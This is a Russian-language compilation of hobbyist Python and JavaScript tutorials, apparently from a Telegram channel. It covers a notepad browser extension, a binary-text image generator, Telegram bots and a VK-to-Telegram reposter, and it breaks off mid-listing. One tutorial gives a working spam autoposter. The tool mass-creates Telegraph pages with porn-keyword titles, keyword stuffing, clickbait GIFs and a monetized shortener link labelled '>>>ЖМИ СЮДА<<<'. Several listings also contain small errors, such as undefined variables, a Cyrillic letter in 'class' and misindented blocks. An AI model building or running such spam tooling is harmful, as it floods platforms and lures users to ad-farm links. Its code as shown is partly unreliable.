└background.js
└icon.png
└index.html
└manifest.json
└style.css

Я не буду разбирать структуру html и css. Всё что необходимо знать что в файле html есть <textarea cols="82" rows="20" id='GetText' autofocus></textarea> с которой и будет происходить взаимодействие на стороне js скрипта.

Начнём разбор с файла manifest.json

{
  "manifest_version": 2,
  "name": "NOTEPAD",
  "description": "Notepad, creator: t.me/CodingCommunity",
  "version": "0.0.1",
  "icons": {"128": "icon.png"},
  "browser_action": {
    "default_icon": "icon.png",
    "default_popup": "index.html"
  }
}

Он у нас получился совсем маленьким, т.к. мы не используем ничего что могли бы, нам не нужны разрешения работы с вкладками и т.п. По названиям полей можно и так догадаться что они означают. Хочу лишь отметить что default_icon это иконка которая отображается среди других расширений в браузере.

Перейдем к js коду. У нас будет всего одна функция которая будет отвечать за сохранение и загрузку данных из локального хранилища. При загрузки страницы мы достаём из локального хранилища данные которые там имеются по ключу "text" и заносим их в html файл в тег textarea, а если быть точнее то в его значение. Далее мы назначаем слушателя onkeyup который реагирует на отпущенную клавишу, после чего заносим в локальное хранилище данные из textarea. Вот что про onkeyup пишет гугл:

keyup() привязывает JavaScript обработчик событий "keyup" (нажатая клавиша была отпущена), или запускает это событие на выбранный элемент. Событие "keyup" посылается элементу в тот момент, когда пользователь отпустит нажатую клавишу на клавиатуре.

window.onload = () => {
  let getTextFromTextArea = document.getElementById('GetText');
  getTextFromTextArea.value = localStorage.getItem('text')
  getTextFromTextArea.onkeyup = () => {
    localStorage.setItem('text', getTextFromTextArea.value);
  }
}

Да, это полный листинг. Его мало но расширение невероятно полезное. Можете не смотреть css, там я просто позаимствовал код для текста сверху. В общем, вот как работает расширение:

Расширение было протестировано в Google Chrome (Версия 86.0.4240.198) и Opera (Версия:72.0.3815.378)

Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.

Телеграм канал: https://t.me/CodingCommunity

Начнём как обычно с импортов зависимостей:

from PIL import Image, ImageDraw, ImageFont
import random
import math

Я не стал разбивать код на функции так как его не много. Начнём с так называемых констант:

BACK_COLOR = "BLACK"
IN_IMG = '1.png'
FNT = ImageFont.truetype('4.TTF', 7)

Сначала зададим цвет фона. Затем исходное изображение, оно обязательно должно быть png с прозрачными местами. Далее идут настройки шрифта. Советую использовать этот шрифт и размер, т.к. для него все рассчитано (количество символов на строку и количество строк на размер файла).

Далее нам необходимо узнать разрешение файла что бы составить для него текст который будет заполнять всю картинку, благодаря чему наша надпись картинка будет выглядеть так будто написана единицами и нулями

im = Image.open(IN_IMG)
(width, height) = im.size

Получаем мы значения в таком формате: (1920, 1080).
Я рассчитал что на квадрат из 50 пикселей нужно 13 символов в строку и 6 строк.

Исходя из этого будет считать сколько символов нам понадобиться:

line = math.ceil(im.size[0]/50 * 13 * 1.2)
row = math.ceil(im.size[1]/50 * 6 * 1.2)

Тут в конце умножение на 1.2 т.к. при тестировании с английским алфавитом картинка наполняется символами не до конца. То есть мы просто умножаем на 20%.

Дальше пойдет цикл генерации строки:

string = ''
for i in range(row):
	for j in range(line):
		string += str(random.choice([0, 1]))
	string += '\n'

Тут все довольно таки просто. Row это количество строк, а line это сама строка. Тут мы генерируем большую строку для заполнения картинки.

Далее нам необходимо создать изображение с фоном который мы указали в константах:

img = Image.new('RGBA', (im.size[0], im.size[1]), BACK_COLOR)    
draw_text = ImageDraw.Draw(img)
draw_text.text((1,1), string, spacing=1, font=FNT, fill=0)
img2 = Image.open(IN_IMG)
alphaComposited = Image.alpha_composite(img2, img)

Тут мы сначала создаём изображение с размерами как у того что будем "рисовать", задаём ему цвет который указан в константе, затем рисуем это изображение, после этого записываем на него сгенерированный ранее текст из едениц и нулей, после чего открываем оригинальное изображение и совмещаем созданную нами картинку с той что была указана в константе (путь до неё).

Далее мы будем делать из png картинки jpeg. Сначала берём ту картинку что была создана на прошлом шаге. Затем мы создаём новое изображение на которое будем помещать наше, заливаем фон цветом который был указан в константе, размер берём от изначального изображения. Далее вставляем ранее сгенерированную картинку на нашу картинку, конвертируем, конвертируем в RGB, сохраняем, после чего открываем для просмотра.

image = alphaComposited
new_image = Image.new("RGBA", image.size, BACK_COLOR) 
new_image.paste(image, (0, 0), image) 
new_image.convert('RGB').save('READY_RESULT.jpg', "JPEG") 
img22 = Image.open('READY_RESULT.jpg')
img22.show()

Полный листинг программы:

from PIL import Image, ImageDraw, ImageFont
import random
import math


BACK_COLOR = "BLACK"
IN_IMG = '1.png'
FNT = ImageFont.truetype('4.TTF', 7)


im = Image.open(IN_IMG)
(width, height) = im.size


line = math.ceil(im.size[0]/50 * 13 * 1.2)
row = math.ceil(im.size[1]/50 * 6 * 1.2)


string = ''
for i in range(row):
	for j in range(line):
		string += str(random.choice([0, 1]))
	string += '\n'
	

img = Image.new('RGBA', (im.size[0], im.size[1]), BACK_COLOR)    
draw_text = ImageDraw.Draw(img)
draw_text.text((1,1), string, spacing=1, font=FNT, fill=0)
img2 = Image.open(IN_IMG)
alphaComposited = Image.alpha_composite(img2, img)


image = alphaComposited
new_image = Image.new("RGBA", image.size, BACK_COLOR) 
new_image.paste(image, (0, 0), image) 
new_image.convert('RGB').save('READY_RESULT.jpg', "JPEG") 
img22 = Image.open('READY_RESULT.jpg')
img22.show()

Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.

Телеграм канал: https://t.me/CodingCommunity

from html_telegraph_poster import TelegraphPoster
import requests
import random
from bs4 import BeautifulSoup
import datetime
from tqdm import tqdm, trange

Далее пойдет функция main для русских телеграф статей:

def main() -> None:
	now = datetime.datetime.now()
	with open('RUS_PORN_LINK.txt', 'a') as f:
		f.write('[>>>>>>>>]' + str(now.strftime("%d-%m-%Y %H:%M:%S")) + '[<<<<<<<<]' + '\n')

При старте мы открываем файл с ссылками и записываем дату и время что бы знать когда были сделаны ссылки.

Далее сделаем массив с жанрами где каждый элемент массива будет как отдельный жанр. А так же тут массив гифок которые должны привлечь человека нажать на ссылку.

	gif_massive = ['https://i.ibb.co/WxV9XwD/1.gif', 'https://i.ibb.co/WxV9XwD/1.gif', 'https://i.ibb.co/7v6BMSd/2.gif', 'https://i.ibb.co/41gNSy8/4.gif']
	names = []
	with open('Жанры.txt', 'r', encoding='utf-8') as f:
		for line in f:
			names.append(line.replace('\n', ''))

Далее сделаем такие же массивы для имён актрис и названий самих порно видео:

	act = []
	with open('Актрисы.txt', 'r', encoding='utf-8') as af:
		for line in af:
			act.append(line.replace('\n', ''))
			
	
	films = []
	with open('русские названия.txt', 'r', encoding='utf-8') as afs:
		for line in afs:
			films.append(line.replace('\n', ''))

Далее будем записывать в строку html код, ведь telegraph принимает именно его:

	actris = " <p> "
	for i in act:
		actris += i + " </p> <br> <p> "
	
	films = " <p> "
	for i in films:
		films += i + " </p> <br> <p> "
    
    redy_html = actris + '<br><br>' + films
    

ну и последние строки которые будут отвечать за постинг всего этого:

pbar = tqdm(names)
	for gege in pbar:
		if 'порно' in gege or "секс" in gege:
			t = TelegraphPoster() 
			link_on_tgraph = t.post(title=gege, author='Порно', text="<img src=" + random.choice(gif_massive) + "><a href=" + 'http://gestyy.com/eqZyDR'+ "> >>>ЖМИ СЮДА<<<</a><br>" + aaa)
			with open('RUS_PORN_LINK.txt', 'a') as f:
				f.write(link_on_tgraph['url'] + '\n')
		else:
			gege += ' ' + str(random.choice(['порно', "секс", "прон"]))
			t = TelegraphPoster() 
			link_on_tgraph = t.post(title=gege, author='Порно', text="<img src=" + random.choice(gif_massive) + "><a href=" + 'http://gestyy.com/eqZyDR'+ "> >>>ЖМИ СЮДА<<<</a><br>" + aaa)
			with open('RUS_PORN_LINK.txt', 'a') as f:
				f.write(link_on_tgraph['url'] + '\n')
		pbar.set_description('[>>>] RUSSIAN: ' + link_on_tgraph['url'])

pbar это прогресс бар, как это выглядит можно увидеть на рисунке ниже:
А вообще тут ничего сложного, сначала проверяем есть ли "порно" или "секс" в заголовке, если нет, то добавим, затем создаём TelegraphPoster() и постим html текст и заголовок с помощью t.post()

в итоге получим вот такие ссылки:

Соотвественно наполнения текстовых файлов, таких как "Актрисы, жанры, названия" можете сделать любым. Ту же самую функцию можно использовать для английских ссылок, там у меня 1999 жанров.

Полный листинг функции:

from html_telegraph_poster import TelegraphPoster
import requests
import random
from bs4 import BeautifulSoup
import datetime
from tqdm import tqdm, trange


def main() -> None:
	now = datetime.datetime.now()
	with open('RUS_PORN_LINK.txt', 'a') as f:
		f.write('[>>>>>>>>]' + str(now.strftime("%d-%m-%Y %H:%M:%S")) + '[<<<<<<<<]' + '\n')
	gif_massive = ['https://i.ibb.co/WxV9XwD/1.gif', 'https://i.ibb.co/WxV9XwD/1.gif', 'https://i.ibb.co/7v6BMSd/2.gif', 'https://i.ibb.co/41gNSy8/4.gif']
	names = []
	
	
	with open('Жанры.txt', 'r', encoding='utf-8') as f:
		for line in f:
			names.append(line.replace('\n', ''))
	act = []
	
	
	with open('Актрисы.txt', 'r', encoding='utf-8') as af:
		for line in af:
			act.append(line.replace('\n', ''))	
	films = []
	
	
	with open('русские названия.txt', 'r', encoding='utf-8') as afs:
		for line in afs:
			films.append(line.replace('\n', ''))	
	g = " <p> "
	for i in act:
		g += i + " </p> <br> <p> "
	
	
	k = " <p> "
	for i in films:
		k += i + " </p> <br> <p> "
	
	aaa = g + '<br><br><br><br><br><br><br><br><br>' + k
	
	pbar = tqdm(names)
	
	for gege in pbar:
		if 'порно' in gege or "секс" in gege:
			t = TelegraphPoster() 
			link_on_tgraph = t.post(title=gege, author='Порно', text="<img src=" + random.choice(gif_massive) + "><a href=" + 'http://gestyy.com/eqZyDR'+ "> >>>ЖМИ СЮДА<<<</a><br>" + aaa)
			with open('RUS_PORN_LINK.txt', 'a') as f:
				f.write(link_on_tgraph['url'] + '\n')
			# print(link_on_tgraph['url'])
		else:
			gege += ' ' + str(random.choice(['порно', "секс", "прон"]))
			t = TelegraphPoster() 
			link_on_tgraph = t.post(title=gege, author='Порно', text="<img src=" + random.choice(gif_massive) + "><a href=" + 'http://gestyy.com/eqZyDR'+ "> >>>ЖМИ СЮДА<<<</a><br>" + aaa)
			with open('RUS_PORN_LINK.txt', 'a') as f:
				f.write(link_on_tgraph['url'] + '\n')
			# print(link_on_tgraph['url'])
		pbar.set_description('[>>>] RUSSIAN: ' + link_on_tgraph['url'])

Вы можете наполнять просторы телеграф другим контентом с автопостингом.

Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.

Телеграм канал: https://t.me/CodingCommunity

from aiogram import Bot, Dispatcher, executor, types
from aiogram import *
from aiogram.types import *

Да да, одна лишь либа aiogram. Далее пойдут константы в виде токена и айди админа которому пересылать сообщения:

TOKEN = "1111111:xxxxxxxx-xxxxxxxx"
admin_id = 1111111

Далее объявление самого бота и закинем сюда же ответ на команду /start

boty = Bot(token=TOKEN)
dp = Dispatcher(boty)


@dp.message_handler(commands=['start'])
async def process_start_command(message: types.Message):
	if message['from'].id == admin_id:
		await message.answer(f"Hi, admin")
	else:
		await message.answer(f"Привет, {message['from'].first_name}!")

Далее пойдет хэндлер для обработки текста и ответов пользователем от аккаунта администратора.

Сначала, во избежания ошибки, мы проверяем есть ли reply на сообщение, если его нет то проверяем нет ли команды /start , если её тоже нет то пересылаем сообщение админу.
Если все же это было reply на сообщение, сначала уточняем что этот reply был от админа, если это так то проверяем что там есть айди пользователя чьё сообщение админ решил реплить (reply), а затем отправляем текст юзеру на чьё сообщение админ нажал reply с текстом который ввел админ. Если же это делает пользователь то мы ему ласково говорим что ему нельзя отвечать на сообщения.

@dp.message_handler()
async def process_start_command(message: types.Message):
	if message.reply_to_message == None:
		if '/start' not in message.text:
			await boty.forward_message(admin_id, message.from_user.id, message.message_id)
	else:
		if message['from'].id == admin_id:
			if message.reply_to_message.forward_from.id:
					await boty.send_message(message.reply_to_message.forward_from.id, message.text)
		else:
			await message.answer('Нельзя отвечать на сообщения.')

Далее пойдет обработка документов и фотографий.

@dp.message_handler(content_types=['photo'])
async def handle_docs_photo(message):
	await boty.forward_message(admin_id, message.from_user.id, message.message_id)

	
@dp.message_handler(content_types=['document'])
async def handle_docs_photo(message):
	await boty.forward_message(admin_id, message.from_user.id, message.message_id)

Тут мы просто пересылаем сообщения данных типов админу. ну и наконец:

if __name__ == '__main__':
	print("starting")
	executor.start_polling(dp)
	

Вот и всё! а теперь полный листинг программы:

from aiogram import Bot, Dispatcher, executor, types
from aiogram import *
from aiogram.types import *


TOKEN = "11111:xxxxxxxxxxx-xxxxxxxxx"
admin_id = 11111111111


boty = Bot(token=TOKEN)
dp = Dispatcher(boty)


@dp.message_handler(commands=['start'])
async def process_start_command(message: types.Message):
	if message['from'].id == admin_id:
		await message.answer(f"Hi, admin")
	else:
		await message.answer(f"Привет, {message['from'].first_name}!")

		
@dp.message_handler()
async def process_start_command(message: types.Message):
	if message.reply_to_message == None:
		if '/start' not in message.text:
			await boty.forward_message(admin_id, message.from_user.id, message.message_id)
	else:
		if message['from'].id == admin_id:
			if message.reply_to_message.forward_from.id:
					await boty.send_message(message.reply_to_message.forward_from.id, message.text)
		else:
			await message.answer('Нельзя отвечать на сообщения.')

			
@dp.message_handler(content_types=['photo'])
async def handle_docs_photo(message):
	await boty.forward_message(admin_id, message.from_user.id, message.message_id)

	
@dp.message_handler(content_types=['document'])
async def handle_docs_photo(message):
	await boty.forward_message(admin_id, message.from_user.id, message.message_id)

	
	if __name__ == '__main__':
	print("starting")
	executor.start_polling(dp)

Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.

Телеграм канал: https://t.me/CodingCommunity

import requests
import telebot
import sqlite3
from time import sleep
import json

Теперь нам нужны переменные с токенами и айдишниками. в переменной v_token будем хранить токен для ВК. Что бы его получить нужно перейти на сайт:
https://vkhost.github.io (я получал там) а затем выбрать приложение. Я выбрал VK API. Ссылка на доку вк (https://vk.com/dev/methods ).

Далее в переменную tb вносим токен телеграмм бота который находится в канале куда постить. Указываем айди админа которому будут приходить ошибки (если таковые будут). В groupid мы указываем группу телеграм в которую будем постить картинки. Что бы получить этот айди вам нужно отправить боту @getmyidbot какой либо пост с канала и тогда он вам вернёт айди канала. Вносить его нужно с минусом.

v_token = "7l0m0v3dkl__t.me/CodingCommunity__83fglkiaguto9602p3nbrbuz67bjf4jj5pqkehivifj0kusc227qut"
tb = telebot.TeleBot("0001337000:@CodingCommunity")
admin_id = 13371337
group_id = -123123123123
image_group = [111111111, 2222222, 3333333, 44444444, 55555555]

Так как нам необходимо проверять картинки которые мы собираемся публиковать, что бы скрипт не брал одни и те же - мы подключим базу данных и будем записывать туда айди группы и последнюю взятую из группы картинку.

def write_group_and_url_photo(group_id, photo_url):
	con = sqlite3.connect("group_and_photo.db")
	cur = con.cursor()
	cur.execute(f"""CREATE TABLE IF NOT EXISTS GAUP (group_id int, image_url text);""") 
	cur.execute(f"INSERT INTO GAUP VALUES(?,?)", (group_id, photo_url))
	con.commit()
	cur.close() 
	con.close()

Давайте не будем обращать внимание на странное название таблицы "GAUP" (Group And Url Photo). для записи мы будем передавать айди группы (которое у нас целочисленное [integet] ), откуда берём ссылку на картинку если она там будет photourl (текстовое значение [string] ). Затем мы подключаемся к базе "group_and_photo.db", создаём курсор и пробуем создать таблицу, если таковой нет, а затем пробуем вставить наши данные. Хочу сразу вам сказать, что изначально таблицу вам надо будет заполнить что бы не было проблем, просто задайте для каждой группы по одному "посту" как это сделал я:

Далее - для того что бы сравнить последнюю картинку с группой нам понадобится функция которая получит по переданному айди группы - image_url

def get_last_post(group_id):
	con = sqlite3.connect("group_and_photo.db")
	cur = con.cursor()	
	cur.execute(f"SELECT * FROM GAUP WHERE group_id = ?", [(group_id)])
	data = cur.fetchall()
	con.commit()
	cur.close() 
	con.close()	
	return data[-1][-1]

Тут мы в значение передаём айди группы, ВСЕ данные записываются в переменную data. Дата это массив с данными для одной группы которую мы передали. Мы достаём последнею запись data[-1] и из неё достаём image_url : data[-1][-1] и возвращаем это туда откуда функция была вызвана.

Далее будет функция которую можно было не писать, но мне с ней было проще работать:

def vk_exec(method, param):
	URL = "https://api.vk.com/method/" + method + "?" + param
	return requests.get(URL).json()

Тут мы будем передавать вк метод который хотим использовать и его параметры, а возвращать он нам будет готовую json строку которую мы будем парсить.

Далее идёт большая функция. Думаю её стоит объяснять по частям.

def wall_img(group_id, offset=None):
	if offset == None:
		get_image = vk_exec("wall.get", f"owner_id=-{group_id}&v=5.35&count=1&access_token={v_token}")
	else:
		get_image = vk_exec("wall.get", f"owner_id=-{group_id}&v=5.35&offset={offset}&count=1&access_token={v_token}")
	with open('data.json', 'w') as f:
		f.write(json.dumps(get_image))
	with open('data.json', 'r', encoding='utf-8') as f:
		dat = json.load(f)

Начало функции вроде не сложное, мы проверяем - было ли передано значение offset, если было передано то мы используем ссылку по которой получаем пост со смещением, дальше объясню зачем это нужно. Если же offset не указан - мы просто получаем первую запись со стены сообщества (то есть последнею опубликованную). Затем мы записываем ответ в файл json (зачем? всё просто, делаем как можно меньше запросов, ибо вк не любит запросы. дальше увидите почему это делается так). Так как get_image сам по себе json - мы можем очень легко его записать в файл.

Сейчас пойдет море проверок:

	try:
		if 'items' in dat['response']:
			if 'is_pinned' not in dat['response']['items'][0]:
				if 'attachments' in dat['response']['items'][0]:
					if 'photo' in dat['response']['items'][0]['attachments'][0] and 'album' not in dat['response']['items'][0]['attachments'][0]:
						photo = dat['response']['items'][0]['attachments'][0]['photo']['photo_604']
						return [group_id, photo]
					else:
						return 'NOIMAGE'	
				else:
					return 'NOIMAGE'
			else:
				return wall_img(image_group[0], 1) # из-за рекурсии
		else:
			return 'NOIMAGE'
	except Exception as e:
		get_image = vk_exec("wall.get", f"owner_id=-{group_id}&v=5.35&count=1&access_token={v_token}")
		if get_image['error']['error_code'] == 5:
			tb.send_message(admin_id, 'Error: \n\n' + 'USER TOKEN IS BLOCKED') # если токен не валид
		elif get_image['error']['error_code'] == 6:
			tb.send_message(admin_id, 'Error: \n\n' + 'TOO MANY REQUESTS PER SECOND') # слишком много запросов в секунду
		else:
			tb.send_message(admin_id, 'Error: \n\n' + str(e))
		sleep(2)

Сначала мы проверяем есть ли items в dat['response'], в них хранятся изображения, видео, альбомы и т.д., если есть то идём дальше, если нет то возвращаем "NOIMAGE", теперь мы проверяем - закреплено ли сообщение, мы ведь не знаем на сколько группа закрепляет сообщение, может оно у них 2 года уже висит, поэтому в случае закрепленного поста мы просто вызываем нашу функцию еще раз с офсетом на один пост, то есть проходим закрепленный пост и переходим к последнему посту. Идём дальше, если пост не закреплен то у него обязательно должны быть вложенные объекты, что бы это не был просто текст, если таковые есть то мы идём дальше, иначе возвращаем "NOIMAGE", теперь самая главная проверка, есть ли ФОТО в сообщении и не является ли это альбомом, если проверка прошла успешно то мы получаем ссылку на фото и возвращаем массив в котором айди группы и ссылка на фотографию. Так же есть разного рода обработчики ошибок, которые будут сообщать админу об ошибках. Они находятся в except. А теперь самое интересное, почему же мы считываем данные с json файла вместо переменной такого типа:

get_image = vk_exec("wall.get", f"owner_id=-{group_id}&v=5.35&count=1&access_token={v_token}")

если мы каждый раз будем обращаться к этой переменной то на каждой проверке в блок if мы будем заново вызывать функцию. Думаете вк это любит? Нет, вк этого не любит, отсюда и это сообщение:

ну и теперь будет самый главный цикл где мы всё это объединим:

def main():
	while True:
		for i in image_group:
			try:
				with open('d.json', 'w') as f:
					f.write(json.dumps({'img_f': wall_img(i)}))
				with open('d.json', 'r', encoding='utf-8') as f:
					dat = json.load(f)
				if type(dat['img_f']) is list:
					if dat['img_f'][-1] != get_last_post(i): 
						write_group_and_url_photo(dat['img_f'][0], dat['img_f'][-1])
						tb.send_photo(group_id, dat['img_f'][-1])
			except Exception as e:
				tb.send_message(admin_id, 'In main script error: \n\n' + str(e))
		print('Ahhhh... Again this ..')
		sleep(900)

Тут мы сначала запускаем бесконечный цикл, который обновляется раз в 15 минут (900 секунд), теперь мы идём циклом по группам, тут мы записываем результат выполнения функции которая либо вернет нам массив с группой и ссылкой на картинку, далее мы будем сравнивать, является ли то что нам вернула функция типом list, если это массив то мы проверяем, не совпадает ли ссылка на картинку с последней картинкой в базе, если она не совпадает то мы записываем новую картинку в базу и затем уже публикуем в канал. Если же были ошибки то бот об этом сообщит.

А теперь - как получить айди группы в вк. Выбираем любую группу, находим любой пост и нажимаем на время под названием группы у поста

Затем копируем айди, тот что после wall и до _

Ну и сам вк говорит не наглеть и не делать по этому методу больше 5к запросов в сутки

но мы то делаем не больше 500, так что всё окей (всего на 5 групп, если у вас их будет больше, посчитайте заранее количество запросов в сутки и установите через какое время будете делать запрос).

а вот и весь исходный код

import requests
import telebot
import sqlite3
from time import sleep
import json


v_token = "7l0m0v3dkl__t.me/CodingCommunity__83fglkiaguto9602p3nbrbuz67bjf4jj5pqkehivifj0kusc227qut"
tb = telebot.TeleBot("0001337000:@CodingCommunity")
admin_id = 13371337
group_id = -123123123123
image_group = [111111111, 2222222, 3333333, 44444444, 55555555]


def write_group_and_url_photo(group_id, photo_url):
	con = sqlite3.connect("group_and_photo.db")
	cur = con.cursor()
	cur.execute(f"""CREATE TABLE IF NOT EXISTS GAUP (group_id int, image_url text);""") # GAUP group and url Photo
	cur.execute(f"INSERT INTO GAUP VALUES(?,?)", (group_id, photo_url))
	con.commit()
	cur.close() 
	con.close()


def get_last_post(group_id):
	con = sqlite3.connect("group_and_photo.db")
	cur = con.cursor()	
	cur.execute(f"SELECT * FROM GAUP WHERE group_id = ?", [(group_id)])
	data = cur.fetchall()
	con.commit()
	cur.close() 
	con.close()	
	return data[-1][-1]


def vk_exec(method, param):
	URL = "https://api.vk.com/method/" + method + "?" + param
	return requests.get(URL).json()


def wall_img(group_id, offset=None):
	if offset == None:
		get_image = vk_exec("wall.get", f"owner_id=-{group_id}&v=5.35&count=1&access_token={v_token}")
	else:
		get_image = vk_exec("wall.get", f"owner_id=-{group_id}&v=5.35&offset={offset}&count=1&access_token={v_token}")
	with open('data.json', 'w') as f:
		f.write(json.dumps(get_image))
	with open('data.json', 'r', encoding='utf-8') as f:
		dat = json.load(f)
	try:
		if 'items' in dat['response']:
			if 'is_pinned' not in dat['response']['items'][0]:
				if 'attachments' in dat['response']['items'][0]:
					if 'photo' in dat['response']['items'][0]['attachments'][0] and 'album' not in dat['response']['items'][0]['attachments'][0]:
						photo = dat['response']['items'][0]['attachments'][0]['photo']['photo_604']
						return [group_id, photo]
					else:
						return 'NOIMAGE'	
				else:
					return 'NOIMAGE'
			else:
				return wall_img(image_group[0], 1)
		else:
			return 'NOIMAGE'
	except Exception as e:
		get_image = vk_exec("wall.get", f"owner_id=-{group_id}&v=5.35&count=1&access_token={v_token}")
		if get_image['error']['error_code'] == 5:
			tb.send_message(admin_id, 'Error: \n\n' + 'USER TOKEN IS BLOCKED') # если токен не валид
		elif get_image['error']['error_code'] == 6:
			tb.send_message(admin_id, 'Error: \n\n' + 'TOO MANY REQUESTS PER SECOND') # слишком много запросов в секунду
		else:
			tb.send_message(admin_id, 'Error: \n\n' + str(e))
		sleep(2)


def main():
	while True:
		for i in image_group:
			try:
				with open('d.json', 'w') as f:
					f.write(json.dumps({'img_f': wall_img(i)}))
				with open('d.json', 'r', encoding='utf-8') as f:
					dat = json.load(f)
				if type(dat['img_f']) is list:
					if dat['img_f'][-1] != get_last_post(i): # вот тут ошибка если бд пуста
						write_group_and_url_photo(dat['img_f'][0], dat['img_f'][-1])
						tb.send_photo(group_id, dat['img_f'][-1])
			except Exception as e:
				logging.debug('Exception in main script')
				tb.send_message(admin_id, 'In main script error: \n\n' + str(e))
		print('Ahhhh... Again this...')
		sleep(900)


if __name__ == '__main__':
	print('START')
	main()

Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.

Телеграм канал: https://t.me/CodingCommunity

Начнём с импортов (Бот будет работать на python3.7+):

from aiogram import Bot, Dispatcher, executor, types
from aiogram.dispatcher import Dispatcher
from aiogram.utils import executor
from aiogram.types import ReplyKeyboardRemove, ReplyKeyboardMarkup, KeyboardButton, InlineKeyboardMarkup, InlineKeyboardButton
from aiogram.types import ParseMode
from aiogram.contrib.fsm_storage.memory import MemoryStorage
from aiogram.dispatcher import FSMContext
from aiogram.dispatcher.filters import Text
from aiogram.dispatcher.filters.state import State, StatesGroup
from telegraphapi import Telegraph

Далее пойдет токен и айди админа. Айди админа нужно для того что бы другие пользователи не могли добавлять юзеров в список.

Так же мы создаём место в памяти куда будут заноситься данные от админа. По типу Юзернейма и города.

ADMIN_ID = 11111111
TOKEN = "111111111:xxXXxxXXxXXxXXxXXxXxX-XxXXxXXx"


storage = MemoryStorage()
bot = Bot(token=TOKEN)
dp = Dispatcher(bot, storage=storage)

Далее я решил создать функцию публикации списка в телеграфе.

def tgraph():
	telegraph = Telegraph()
	telegraph.createAccount("RandomName here")
	a = ""
	with open('users.txt', 'r', encoding='utf-8') as f:
		for l in f:
			a = a + str(l)
	page = telegraph.createPage("Список пользователей.", html_content="<p>" + a + "<p>")
	return 'http://telegra.ph/{}'.format(page['path'])

Сначала мы создаём объект класса телеграф, создаём аккаунт с рандомным именем. Затем создаём пустую строку в которую будем записывать юзеров для публикации. затем открываем текстовый файл users.txt и проходим по каждой строке - записывая её значение в переменную. Затем создаём пост в телеграфе с заголовком "Список пользователей" и контентом - нашей строкой. Функция возвращает ссылку на созданный пост.

Далее будем создавать 2 клавиатуры. Одна для админа - вторая для обычного юзера.

but1 = 'Добавить пользователя'
but2 = 'Вывести список'


markup = types.ReplyKeyboardMarkup(resize_keyboard=True, selective=True)
markup.add(but1)
markup.add(but2)


markup2 = types.ReplyKeyboardMarkup(resize_keyboard=True, selective=True)
markup2.add(but2)

Первая клавиатура для админа, что бы он мог выбрать функцию "Добавить пользователя", вторая клавиатура для обычного пользователя который запустил бота.

Далее у нас идёт обработка команды /start

@dp.message_handler(commands=['start'])
async def process_start_command(message: types.Message):
	if message['from']['id'] == ADMIN_ID:
		await message.reply(f"Привет, выбери действие.", reply_markup=markup, reply=False)
	else:
		await message.reply(f"Привет, выбери действие.", reply_markup=markup2)

Здесь мы проверяем - является ли юзер который написал админом, если это не админ то мы отправляем ему вторую клавиатуру с помощью которой юзер может получить список пользователей, не более.

Далее идёт обработка команды "Вывести список"

@dp.message_handler(text='Вывести список')
async def cmd_start(message: types.Message):
	link = tgraph()
	await message.reply('Вот доступные пользователи: ' + link.replace('telegra.ph', 'tgraph.io'), reply=False)

Тут всё в принципе просто, мы создаём ссылку на функцию с помощью переменной, затем делаем замену telegra.ph ссылки на tgraph.io потому что мне сказали что телеграф в блоке в РФ.

Так же было принято решение сделать команду /users для чатов. Ведь у кого то не официальные и старые клиенты, которые не обрабатывают кнопки. (например мобильный клиент telegraph)

@dp.message_handler(commands=['users'])
async def process_start_command(message: types.Message):
	link = tgraph()
	await message.reply('Вот доступные пользователи: ' + link.replace('telegra.ph', 'tgraph.io'), reply=False)

Далее идёт машина состояний которую я выдрал с прошлого бота который создавал зашифрованные записки.

сlass kod_key(StatesGroup):
    word = State()
    crypted = State()

Затем делаем обработку команды "Добавить пользователя"

@dp.message_handler(text='Добавить пользователя')
async def cmd_start(message: types.Message):
	if message['from']['id'] == ADMIN_ID:
		await kod_key.word.set()
		await message.reply('Введи username\nПример: @username', reply=False)

Тут мы проверяем айди написавшего, если админ то идём дальше. Сделано для того что бы всякие умники не могли добавить послания в телеграф документ. Затем мы задаём состояние kod_key.

Далее мы переходим к состоянию kod_key:

@dp.message_handler(state=kod_key.word)
async def process_name(message: types.Message, state: FSMContext):
    async with state.proxy() as data:
        data['word'] = message.text
    await message.reply('Введи город\nПример: Рим', reply=False)
    await kod_key.next()

Здесь не нужно делать проверку на админа. т.к. сюда нельзя попасть если ты не админ. Тут вы задаем переменной data["word"] текст сообщения который напишет юзер. Оно сохраняется в памяти. Так же в конце мы переходим на следующие состояние "crypted".

@dp.message_handler(state=kod_key.crypted)
async def process_age(message: types.Message, state: FSMContext):
	await state.update_data(crypted=message.text)
	async with state.proxy() as data:
		with open("users.txt", 'a', encoding='utf-8') as f:
			f.write(data['word'] + " " + data["crypted"] + "\n")
	await message.reply(f'Пользователь успешно записан в файл.\nUsername: ' + data['word'] + ' \nГород: ' + data['crypted'], reply=False)
	await state.finish()

Вот здесь мы уже знаем юзернейм и город, записываем их в обычный файл. Так же заканчиваем state с помощью finish.

Ну и код заканчивается:

if __name__ == '__main__':
    print("starting")
    executor.start_polling(dp)

А теперь полный листинг программы:

from aiogram import Bot, Dispatcher, executor, types
from aiogram.dispatcher import Dispatcher
from aiogram.utils import executor
from aiogram.types import ReplyKeyboardRemove, ReplyKeyboardMarkup, KeyboardButton, InlineKeyboardMarkup, InlineKeyboardButton
from aiogram.types import ParseMode
from aiogram.contrib.fsm_storage.memory import MemoryStorage
from aiogram.dispatcher import FSMContext
from aiogram.dispatcher.filters import Text
from aiogram.dispatcher.filters.state import State, StatesGroup
from telegraphapi import Telegraph


ADMIN_ID = 111111
TOKEN = "1111111:XXxxXXxXxxXxXxXxXXxXxXXxXX"


storage = MemoryStorage()
bot = Bot(token=TOKEN)
dp = Dispatcher(bot, storage=storage)


def tgraph():
	telegraph = Telegraph()
	telegraph.createAccount("Your dream")
	a = ""
	with open('users.txt', 'r', encoding='utf-8') as f:
		for l in f:
			a = a + str(l)
	page = telegraph.createPage("Список пользователей.", html_content="<p>" + a + "<p>")
	return 'http://telegra.ph/{}'.format(page['path'])
	
	
but1 = 'Добавить пользователя'
but2 = 'Вывести список'


markup = types.ReplyKeyboardMarkup(resize_keyboard=True, selective=True)
markup.add(but1)
markup.add(but2)


